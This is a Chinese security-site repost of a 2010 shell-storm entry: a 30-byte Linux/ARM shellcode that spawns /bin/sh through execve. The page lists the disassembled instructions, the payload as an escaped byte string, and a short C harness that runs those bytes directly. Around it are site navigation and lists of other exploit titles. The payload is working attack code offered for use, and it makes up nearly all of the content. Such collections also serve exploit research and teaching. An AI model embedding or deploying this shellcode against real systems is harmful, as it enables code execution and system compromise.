首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux/ARM - execve("/bin/sh","/bin/sh",0) - 30 bytes
来源:http://shell-storm.org 作者:Salwan 发布时间:2010-06-29  

/*
Title:  Linux/ARM - execve("/bin/sh","/bin/sh",0) - 30 bytes
Date:   2010-06-28
Tested: ARM926EJ-S rev 5 (v5l)

Author: Jonathan Salwan
Web:    http://shell-storm.org | http://twitter.com/shell_storm

! Dtabase of shellcodes http://www.shell-storm.org/shellcode/


    8054: e28f3001  add r3, pc, #1 ; 0x1
    8058: e12fff13  bx r3
    805c: 4678       mov r0, pc
    805e: 300a       adds r0, #10
    8060: 9001       str r0, [sp, #4]
    8062: a901       add r1, sp, #4
    8064: 1a92       subs r2, r2, r2
    8066: 270b       movs r7, #11
    8068: df01       svc 1
    806a: 2f2f       cmp r7, #47
    806c: 6962       ldr r2, [r4, #20]
    806e: 2f6e       cmp r7, #110
    8070: 6873       ldr r3, [r6, #4]
*/

#include <stdio.h>

char *SC = "\x01\x30\x8f\xe2"
           "\x13\xff\x2f\xe1"
           "\x78\x46\x0a\x30"
           "\x01\x90\x01\xa9"
           "\x92\x1a\x0b\x27"
           "\x01\xdf\x2f\x2f"
           "\x62\x69\x6e\x2f"
           "\x73\x68";

int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(SC));
        (*(void(*)()) SC)();
return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Netartmedia iBoutique.MALL SQL
·GSM SIM Utility sms file Local
·UFO: Alien Invasion v2.2.1 Rem
·MemDb Multiple Remote Dos
·Free MP3 CD Ripper 1.0 (0day)
·Winamp v5.571 Malicious AVI De
·WarFTPD 1.65 (USER) Remote Buf
·Mozilla Firefox 3.6.6 Denial o
·Mozilla Firefox 3.6.4 Denial o
·Linux/ARM - setuid(0) & execve
·Linux perl-5.003-8/-9 Local Bu
·Linux/ARM - setuid(0) & kill(-
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved